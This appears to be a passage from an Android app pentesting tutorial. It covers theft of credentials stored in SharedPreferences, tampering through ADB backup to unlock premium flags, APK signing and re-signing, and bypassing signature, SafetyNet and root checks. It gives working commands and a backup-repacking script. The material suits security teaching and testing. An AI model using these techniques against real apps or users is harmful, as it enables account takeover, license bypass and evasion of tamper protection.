grep -r "MODE_WORLD_READABLE\|0x1\b" decoded/smali/
# In jadx search: MODE_WORLD_READABLE
If present and the device is old enough, any installed app can read the file at:
# From any app's context — the file is world-readable
FileInputStream fis = new FileInputStream(
"/data/data/com.target.app/shared_prefs/secrets.xml"
);
What to look for in SharedPreferences:
# Search all SP files for interesting keys
grep -r "token\|password\|secret\|key\|auth\|session\|pin\|premium" \
apps/com.example.app/sp/
# Look for base64 — might be encoded credentials
grep -r "==$\|==<" apps/com.example.app/sp/
| Key pattern | What it often contains |
|---|---|
auth_token, access_token, session_token |
Bearer tokens — replay for account takeover |
refresh_token |
OAuth refresh token — get new access tokens indefinitely |
password, pin, passcode |
Plaintext credentials |
api_key, secret_key |
Hardcoded API credentials |
is_premium, is_subscribed, has_license |
Boolean flags — flip to true for feature unlock |
user_id, account_id |
Used in API calls — swap for another user's ID to test IDOR |
Modifying SharedPreferences — tampering attack via ADB backup:
If allowBackup=true, you can extract, modify, and restore:
# 1. Extract
adb backup -noapk com.example.app
# decompress to backup.tar as above
tar xf backup.tar
# 2. Edit the SP file — e.g. set premium flag
sed -i 's/name="is_premium" value="false"/name="is_premium" value="true"/' \
apps/com.example.app/sp/user_prefs.xml
# 3. Repack
tar cf modified.tar apps/
# 4. Compress and add the 24-byte backup header
python3 -c "
import zlib, sys
data = open('modified.tar','rb').read()
compressed = zlib.compress(data)
header = b'ANDROID BACKUP\n1\n0\nnone\n'
open('modified.ab','wb').write(header + compressed)
"
# 5. Restore
adb restore modified.ab
The app now reads is_premium = true from SharedPreferences on next launch.
APK Signing⚓
Every APK that gets installed on Android must be signed. The signature proves the APK came from a specific developer and has not been modified since it was signed. Understanding signing is essential for patching binaries, bypassing root/integrity checks, and re-installing modified APKs.
Why Signing Exists⚓
Android's security model relies on the signing certificate to establish identity. The OS uses it to:
- Verify the APK has not been tampered with after signing
- Identify which developer owns the app (used for
signaturepermission grants) - Determine if an update came from the same developer as the original install (same cert = allowed to update)
If you modify an APK (patch smali, disable SSL pinning, remove root checks) and try to reinstall it, the OS will reject it — the signature no longer matches the modified bytes. You must strip the old signature and re-sign with your own key.
Signature Scheme Versions⚓
Android has introduced progressively stronger signing schemes over time:
| Scheme | Introduced | Where signature lives |
|---|---|---|
| v1 (JAR signing) | Android 1.0 | META-INF/ — .SF, .MF, .RSA/.DSA files |
| v2 (APK signing) | Android 7.0 (API 24) | APK Signing Block — embedded between ZIP entries and central directory |
| v3 (APK signing with key rotation) | Android 9.0 (API 28) | APK Signing Block — adds key rotation proof |
| v4 (streamed signing) | Android 11 (API 30) | Separate .idsig file alongside the APK |
Modern apps are typically signed with v1 + v2, or v1 + v2 + v3. When you re-sign a patched APK with your own key, you only need v1 + v2 to satisfy most devices.
Stripping the Signature (Unsigning)⚓
The existing signature lives in META-INF/. Removing it is all that "unsigning" means:
# Decode the APK (apktool preserves META-INF by default)
apktool d app.apk -o decoded/
# After making your modifications, rebuild
apktool b decoded/ -o patched_unsigned.apk
# apktool's rebuilt APK has no META-INF signature — it is already unsigned
# The rebuild strips the original signature automatically
If you are working with the raw ZIP instead of apktool, delete the META-INF folder manually:
After this the APK has no signature and cannot be installed until you re-sign it.
For v2/v3 signatures (embedded in the APK Signing Block), tools like apksigner also strip the block when you resign. You do not need to manually remove it.
What Is Inside META-INF and How the Hash Chain Works⚓
Understanding what these files actually contain matters when you are manually inspecting whether an APK has been tampered with, or when you want to understand why a modified APK fails verification.
The v1 (JAR) signature creates a three-file chain inside META-INF/:
META-INF/
MANIFEST.MF ← SHA digest of every file in the APK
CERT.SF ← SHA digest of each entry in MANIFEST.MF
CERT.RSA ← PKCS#7 signature block: signs CERT.SF with the private key
The names CERT.SF and CERT.RSA match the alias used when signing — if you signed with alias mykey, you get MYKEY.SF and MYKEY.RSA.
How the chain is verified:
CERT.RSA ──(decrypt with public key in cert)──▶ hash of CERT.SF
│
must match
│
CERT.SF ──(hash each MANIFEST.MF entry)──────▶ hashes stored in CERT.SF
│
must match
│
MANIFEST.MF ──(hash each APK file)─────────────▶ hashes stored in MANIFEST.MF
│
must match
│
actual files inside the APK
If any file is changed after signing, its hash in MANIFEST.MF will not match the real file. The OS catches this and rejects the APK.
Reading the files manually:
# Unzip just the META-INF folder
unzip -o app.apk "META-INF/*" -d meta_inspect/
# Read the manifest — each entry shows filename + its SHA-256 digest (Base64)
cat meta_inspect/META-INF/MANIFEST.MF
Output looks like:
Manifest-Version: 1.0
Built-By: Generated-by-ADT
Created-By: Android Gradle 8.2.0
Name: res/layout/activity_main.xml
SHA-256-Digest: 3q2+7w==...
Name: classes.dex
SHA-256-Digest: Abc123...
# Read the .SF file — digests of MANIFEST.MF sections
cat meta_inspect/META-INF/CERT.SF
# Inspect the .RSA block — shows cert info (who signed it)
openssl pkcs7 -inform DER -in meta_inspect/META-INF/CERT.RSA -print_certs -noout
# Output: subject, issuer, validity — tells you the original developer's cert details
What breaks verification — and what does not:
| Action | v1 result | v2/v3 result |
|---|---|---|
| Modify a file, keep META-INF intact | Fail — MANIFEST.MF hash mismatch | Fail — APK Signing Block covers entire ZIP |
| Delete META-INF entirely | Fail — no signature present | Fail — APK Signing Block still checked |
| Delete META-INF, re-sign with your key | ✅ Pass — new valid v1 signature | ✅ Pass — apksigner writes new v2/v3 block |
| Modify META-INF/MANIFEST.MF to fix hashes manually | Still fail — CERT.SF hashes no longer match | Still fail — APK Signing Block is untouched |
The key insight: you cannot fix the hash chain by editing MANIFEST.MF. Each layer's hashes cover the layer below it, and the entire chain is anchored by the private key that signs CERT.SF via CERT.RSA. Without the original private key you cannot produce a valid signature — you can only strip everything and sign fresh with your own key.
Comparing the cert of an installed app vs a file on disk:
# Get cert fingerprint of an installed app
adb shell pm list packages | grep com.example.app # confirm package name
apksigner verify --print-certs app.apk # from APK file
# or
keytool -printcert -jarfile app.apk # JAR-style (reads CERT.RSA)
# If the fingerprints differ between your patched APK and the original,
# Android will block updates (mismatched signing cert)
This is also how you check if two APKs were signed by the same developer — identical SHA-256 certificate fingerprints mean same private key.
Generating a Signing Key⚓
You need a keystore to re-sign. Generate a self-signed one with the JDK's keytool:
keytool -genkey -v \
-keystore my-release-key.jks \
-alias mykey \
-keyalg RSA \
-keysize 2048 \
-validity 10000
# You will be prompted for:
# - Keystore password
# - Key password
# - Name, org, country (can be anything for testing)
Keep reusing the same keystore for all your patched APKs — Android will refuse to update an app if the signing cert changes between installs.
Re-signing a Patched APK⚓
Use apksigner (ships with the Android SDK build-tools):
# Sign with v1 + v2 (works on Android 7.0+, sufficient for most testing)
apksigner sign \
--ks my-release-key.jks \
--ks-key-alias mykey \
--v1-signing-enabled true \
--v2-signing-enabled true \
--out patched_signed.apk \
patched_unsigned.apk
# Verify the signature was applied
apksigner verify --verbose patched_signed.apk
Alternative with jarsigner (v1 only — works on older devices, simpler):
jarsigner -verbose \
-sigalg SHA256withRSA \
-digestalg SHA-256 \
-keystore my-release-key.jks \
patched_unsigned.apk mykey
# jarsigner signs in-place — the file itself is modified
# You may also need to zipalign after jarsigner
zipalign -v 4 patched_unsigned.apk patched_signed.apk
zipalign note: zipalign optimises the APK's byte alignment for memory-mapped access. Some devices and newer apksigner builds require it. Always run zipalign before signing with apksigner (signing after zipalign preserves alignment; the reverse breaks it):
# Correct order when using apksigner
zipalign -v 4 patched_unsigned.apk patched_aligned.apk
apksigner sign --ks my-release-key.jks --ks-key-alias mykey patched_aligned.apk
Full Patch-and-Resign Workflow⚓
Original app.apk
│
▼
apktool d app.apk -o decoded/ ← decode (smali + resources)
│
▼
Edit smali / resources ← patch root check, SSL pin, etc.
│
▼
apktool b decoded/ -o unsigned.apk ← rebuild (signature stripped)
│
▼
zipalign -v 4 unsigned.apk aligned.apk
│
▼
apksigner sign --ks key.jks aligned.apk
│
▼
adb install -r aligned.apk ← reinstall (-r = replace existing)
Integrity Checks That Detect Re-signing⚓
Many apps detect that their signature has changed and refuse to run or silently break. Common checks to look for and bypass:
1. Certificate hash check in code:
// App reads its own signing cert and compares to a hardcoded hash
PackageInfo info = getPackageManager().getPackageInfo(
getPackageName(), PackageManager.GET_SIGNATURES);
String certHash = hashOf(info.signatures[0]);
if (!certHash.equals(EXPECTED_HASH)) {
// tamper detected — exit or lock features
}
Find this in jadx by searching for GET_SIGNATURES, getSignatures, or PackageManager. Once found, patch the smali to always return true (or skip the branch).
2. SafetyNet / Play Integrity API:
Google's attestation service — the app sends a signed challenge to Google servers which checks the device state and app signature. A re-signed APK on a non-certified device will fail this check.
Bypass: use the SafetyNet-Fix Magisk module or playcurl to spoof the attestation response, or find the callback in smali and patch the failure branch.
3. Root / bootloader unlock detection:
If the device is rooted to allow adb shell access, apps may check for root and bail out before the signature check even matters.
Bypass: Magisk's DenyList / Zygisk + MagiskHide equivalent for the target app.
Quick Reference⚓
# Decode
apktool d app.apk -o decoded/
# Rebuild (unsigned)
apktool b decoded/ -o unsigned.apk
# Align
zipalign -v 4 unsigned.apk aligned.apk
# Sign
apksigner sign --ks key.jks --ks-key-alias mykey aligned.apk
# Verify
apksigner verify --verbose aligned.apk
# Install
adb install -r aligned.apk
# Check installed cert (useful to confirm which key signed an installed app)
apksigner verify --print-certs aligned.apk